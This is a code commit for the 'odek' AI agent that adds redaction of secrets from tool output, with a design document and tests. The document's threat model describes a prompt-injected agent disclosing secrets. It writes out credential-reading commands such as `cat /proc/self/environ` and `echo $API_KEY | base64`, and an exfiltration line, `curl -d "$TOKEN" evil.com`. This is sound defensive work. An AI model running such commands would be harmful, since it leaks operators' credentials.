fix(redact): close secret-leak gaps on the tool output surface

cmd/odek/subagent.go

@@ -13,6 +13,7 @@ import (
 	"github.com/BackendStack21/odek/internal/config"
 	"github.com/BackendStack21/odek/internal/danger"
 	"github.com/BackendStack21/odek/internal/llm"
+	"github.com/BackendStack21/odek/internal/redact"
 	"github.com/BackendStack21/odek/internal/render"
 	"github.com/BackendStack21/odek/internal/skills"
 )
@@ -263,6 +264,9 @@ func subagentCmd(args []string) error {
 	// tool the agent runs that prints its own env.
 	if fdKey := readKeyFromInheritedFD(); fdKey != "" {
 		resolved.APIKey = fdKey
+		// Register the FD-supplied key so it is redacted from tool output
+		// (LoadConfig only saw the env-resolved value, which may be empty here).
+		redact.RegisterSecret(fdKey)
 	}
 
 	// Apply parent-supplied trust constraints. When the parent marked the

docs/REDACTION_HARDENING.md

@@ -0,0 +1,127 @@
+# Redaction Hardening Plan
+
+Status: in progress. The first increment (known-value redaction + Telegram
+token pattern) ships in `internal/redact`. This document is the roadmap for
+making the redaction layer robust against the full set of known attacks on
+**the tools surface**, and an honest statement of what redaction can and
+cannot defend.
+
+---
+
+## Scope and why
+
+odek's redaction layer (`internal/redact`) sanitises **tool output** before it
+is appended to the conversation and persisted to the session
+(`internal/loop/loop.go`, `internal/session/session.go`). It exists so that a
+secret which surfaces in a command's output — accidentally or because a
+prompt-injected agent went looking for it — does not end up in the transcript,
+the session file, the model provider's logs, or a Telegram chat.
+
+The surface we harden is deliberately narrow: **what tools return to the
+agent.** We do *not* try to scrub odek's own process environment, because the
+agent process legitimately needs its secrets — above all the LLM API key it
+uses to talk to the model. Removing the key from the process is not an option;
+keeping it from *leaking back out through tool output* is. That makes the
+redaction layer the right control, and it must be as close to airtight as a
+lexical filter can be.
+
+## Threat model (tools surface)
+
+An attacker who has achieved prompt injection drives the agent to disclose a
+secret it can read, by routing it through tool output that returns to the
+transcript. Concretely:
+
+| # | Vector | Example | Pre-fix status |
+|---|--------|---------|----------------|
+| 1 | Env dump of well-named, standard-format key | `env`, `printenv` | Caught (format + name patterns) |
+| 2 | Bare echo of a non-standard-format secret | `echo $TELEGRAM_BOT_TOKEN` | **Leaked** |
+| 3 | Encoded secret | `echo $API_KEY \| base64`, `\| xxd`, `\| rev` | **Leaked** |
+| 4 | `/proc` environ dump | `cat /proc/self/environ` | Partially (NUL-delimited, name pattern needs `NAME=`) |
+| 5 | Secret read from a file | `cat ~/.config/odek/secrets.env` | Depends on format |
+| 6 | Secret embedded in a longer string | `curl -H "x: $TOKEN" ...` echoed back in verbose output | Depends on format |
+
+Vectors 2–4 are the gaps this work closes.
+
+## Out of scope for redaction (documented limits)
+
+These are **not** solvable by a lexical filter and must be defended elsewhere
+(network-egress controls, approval gating, `non_interactive: deny`):
+
+- **Arbitrary transformation** — `gzip`, `openssl enc`, gpg, custom character
+  substitution, chunking a secret across multiple commands. We precompute the
+  *common* encodings (base64, hex, url, reversed); we cannot enumerate all of
+  them.
+- **Side-channel exfiltration** — `curl -d "$TOKEN" evil.com`, a reverse
+  shell, DNS tunnelling. The secret never returns to the tool surface, so
+  redaction never sees it. This is the job of the egress denylist and
+  `network_egress: prompt` + `non_interactive: deny` in the danger config.
+
+Redaction is a **safety net against disclosure into the transcript**, not a
+guarantee against a determined exfiltration attempt. Defense in depth: pair it
+with the egress controls.
+
+---
+
+## Design
+
+Two cooperating layers run inside `RedactSecrets`:
+
+### Layer 1 — Known-value redaction (new)
+
+odek knows its own secrets. We register them at startup and redact the exact
+values — plus their common encodings — wherever they appear, regardless of
+format. This closes vectors 2, 3, and 4 for odek's own secrets.
+
+- `RegisterSecret(value)` — records a value and its encodings: base64
+  (std/raw/url), hex (upper/lower), percent-encoding, reversed.
+- `RegisterSecretsFromEnv()` — registers values of env vars whose name has a
+  secret-bearing segment (`KEY`, `TOKEN`, `SECRET`, `PASSWORD`, `PASS`,
+  `CREDENTIAL`, …), matched on whole `_`/`-` segments so `GIT_AUTHOR_NAME`
+  (AUTHOR) and `compass` (PASS) are *not* treated as secrets.
+- Seeded once in `config.LoadConfig` from the resolved API key, the Telegram
+  bot token, and the environment; and in the subagent path for the
+  FD-supplied key.
+- Values shorter than `minSecretLen` (8) are ignored to avoid over-redacting
+  ordinary text. Matching is literal (a `strings.Replacer`), so no regex
+  metacharacter or ReDoS risk from arbitrary secret contents.
+
+### Layer 2 — Format patterns (existing, extended)
+
+Regex patterns for secrets we *don't* hold but recognise by shape (a
+customer's AWS key in a file, a GitHub PAT, a private key). Extended here with
+a **Telegram bot token** pattern (`<bot-id>:<35-char>`), which has no `name=`
+context for the generic rule to catch.
+
+## Implemented in this PR
+
+- `internal/redact/redact.go`: known-value registry (`RegisterSecret`,
+  `RegisterSecretsFromEnv`, `ResetSecrets`), encoding-aware literal matching,
+  wired into `RedactSecrets` / `HasSecrets` / `CountSecrets`; Telegram
+  bot-token pattern.
+- `internal/config/loader.go`: seed the registry at startup.
+- `cmd/odek/subagent.go`: register the FD-supplied API key.
+- `internal/redact/known_value_test.go`: coverage for vectors 2–4, env-scan
+  selectivity, and the short-value guard.
+
+## Follow-ups (not in this PR)
+
+1. **Streaming redaction across chunk boundaries.** A secret split across two
+   streamed tool-output chunks evades per-chunk redaction. Buffer a sliding
+   window equal to the longest registered form.
+2. **Entropy heuristic for unknown secrets.** Flag high-entropy tokens of
+   secret-like length that match no pattern and no known value, to catch
+   third-party secrets read from files (vector 5) — tuned to avoid hashes/UUIDs.
+3. **Redaction telemetry.** Count redaction hits per session and surface a
+   warning when tool output contained secrets, so operators notice exfil
+   attempts rather than silently dropping them.
+4. **Argument/echo-back coverage (vector 6).** Consider redacting tool *inputs*
+   (command strings) that embed a known value, not just outputs.
+5. **Periodic re-seed.** If secrets can rotate at runtime, re-run
+   `RegisterSecretsFromEnv` on reload.
+
+## Testing
+
+`go test ./internal/redact/` covers each closed vector. New tests:
+`TestTelegramBotTokenPattern`, `TestKnownValue_BareEcho`,
+`TestKnownValue_Encodings`, `TestKnownValue_ProcEnvironDump`,
+`TestRegisterSecretsFromEnv`, `TestRegisterSecret_TooShortIgnored`.

internal/config/loader.go

@@ -24,6 +24,7 @@ import (
 	"github.com/BackendStack21/odek/internal/danger"
 	"github.com/BackendStack21/odek/internal/mcpclient"
 	"github.com/BackendStack21/odek/internal/memory"
+	"github.com/BackendStack21/odek/internal/redact"
 	"github.com/BackendStack21/odek/internal/skills"
 	"github.com/BackendStack21/odek/internal/telegram"
 )
@@ -727,6 +728,16 @@ func LoadConfig(cli CLIFlags) ResolvedConfig {
 	os.Unsetenv("DEEPSEEK_API_KEY")
 	os.Unsetenv("OPENAI_API_KEY")
 
+	// Seed the redaction layer with odek's own secrets so they (and their
+	// common encodings) are stripped from any tool output, even when the
+	// agent prints them in a format the pattern matchers don't recognise.
+	// The API key is registered from its resolved value (the unsets above
+	// only remove it from the environment, not from resolved.APIKey);
+	// RegisterSecretsFromEnv covers .env / secrets.env injected values.
+	redact.RegisterSecret(resolved.APIKey)
+	redact.RegisterSecret(resolved.Telegram.Token)
+	redact.RegisterSecretsFromEnv()
+
 	return resolved
 }
 

internal/redact/known_value_test.go

@@ -0,0 +1,126 @@
+package redact
+
+import (
+	"encoding/base64"
+	"encoding/hex"
+	"strings"
+	"testing"
+)
+
+// TestTelegramBotTokenPattern covers the format-pattern gap: a bare Telegram
+// bot token has no name= context and no recognised key prefix, so before the
+// dedicated pattern it slipped through unredacted.
+func TestTelegramBotTokenPattern(t *testing.T) {
+	ResetSecrets()
+	token := "123456789:AAHfakeTokenValueExample0123456789abcdef"
+	out := RedactSecrets("bot token is " + token)
+	if strings.Contains(out, token) {
+		t.Fatalf("telegram token not redacted by pattern: %q", out)
+	}
+	if !strings.Contains(out, "[REDACTED]") {
+		t.Fatalf("expected [REDACTED] marker, got %q", out)
+	}
+}
+
+// TestKnownValue_BareEcho covers the core gap: a registered secret whose
+// format no pattern recognises must still be redacted when printed verbatim.
+func TestKnownValue_BareEcho(t *testing.T) {
+	ResetSecrets()
+	defer ResetSecrets()
+
+	// A token shape no built-in pattern matches.
+	secret := "xz9-CUSTOM-internal-credential-2f7b1c4e8d"
+	RegisterSecret(secret)
+
+	if got := RedactSecrets("value: " + secret); strings.Contains(got, secret) {
+		t.Fatalf("registered secret leaked in bare echo: %q", got)
+	}
+	if !HasSecrets(secret) {
+		t.Fatalf("HasSecrets should detect a registered value")
+	}
+}
+
+// TestKnownValue_Encodings covers the "echo $KEY | base64 / xxd" gap: common
+// encodings of a registered secret must also be redacted.
+func TestKnownValue_Encodings(t *testing.T) {
+	ResetSecrets()
+	defer ResetSecrets()
+
+	secret := "sk-ant-internal-do-not-leak-abcdef0123456789"
+	RegisterSecret(secret)
+	b := []byte(secret)
+
+	cases := map[string]string{
+		"raw":        secret,
+		"base64-std": base64.StdEncoding.EncodeToString(b),
+		"base64-raw": base64.RawStdEncoding.EncodeToString(b),
+		"base64-url": base64.URLEncoding.EncodeToString(b),
+		"hex-lower":  hex.EncodeToString(b),
+		"hex-upper":  strings.ToUpper(hex.EncodeToString(b)),
+		"reversed":   reverseString(secret),
+	}
+	for name, enc := range cases {
+		out := RedactSecrets("leaked=" + enc)
+		if strings.Contains(out, enc) {
+			t.Errorf("%s encoding leaked: %q", name, out)
+		}
+	}
+}
+
+// TestKnownValue_ProcEnvironDump simulates `cat /proc/self/environ`, whose
+// NUL-delimited output the literal matcher handles regardless of delimiters.
+func TestKnownValue_ProcEnvironDump(t *testing.T) {
+	ResetSecrets()
+	defer ResetSecrets()
+
+	secret := "telegram-bot-secret-value-9988776655"
+	RegisterSecret(secret)
+
+	dump := "PATH=/usr/bin\x00HOME=/root\x00TELEGRAM_BOT_TOKEN=" + secret + "\x00TERM=xterm"
+	out := RedactSecrets(dump)
+	if strings.Contains(out, secret) {
+		t.Fatalf("secret leaked in /proc environ dump: %q", out)
+	}
+}
+
+// TestRegisterSecretsFromEnv only registers values of sensitively-named vars.
+func TestRegisterSecretsFromEnv(t *testing.T) {
+	ResetSecrets()
+	defer func() {
+		osEnviron = defaultOsEnviron
+		ResetSecrets()
+	}()
+
+	secret := "anthropic-key-value-abcdefghij1234567890"
+	authorName := "Jane Developer"
+	osEnviron = func() []string {
+		return []string{
+			"ANTHROPIC_API_KEY=" + secret,
+			"GIT_AUTHOR_NAME=" + authorName, // AUTHOR must NOT be treated as secret
+			"PATH=/usr/bin",
+		}
+	}
+	RegisterSecretsFromEnv()
+
+	if got := RedactSecrets("k=" + secret); strings.Contains(got, secret) {
+		t.Errorf("env secret not redacted: %q", got)
+	}
+	if got := RedactSecrets("author is " + authorName); !strings.Contains(got, authorName) {
+		t.Errorf("non-secret env var over-redacted: %q", got)
+	}
+}
+
+// TestRegisterSecret_TooShortIgnored guards against over-redacting short
+// values that would collide with ordinary text.
+func TestRegisterSecret_TooShortIgnored(t *testing.T) {
+	ResetSecrets()
+	defer ResetSecrets()
+
+	RegisterSecret("abc") // below minSecretLen
+	if HasSecrets("abc appears in normal prose") {
+		t.Fatalf("short value should not have been registered")
+	}
+}
+
+// defaultOsEnviron preserves the production osEnviron for restore in tests.
+var defaultOsEnviron = osEnviron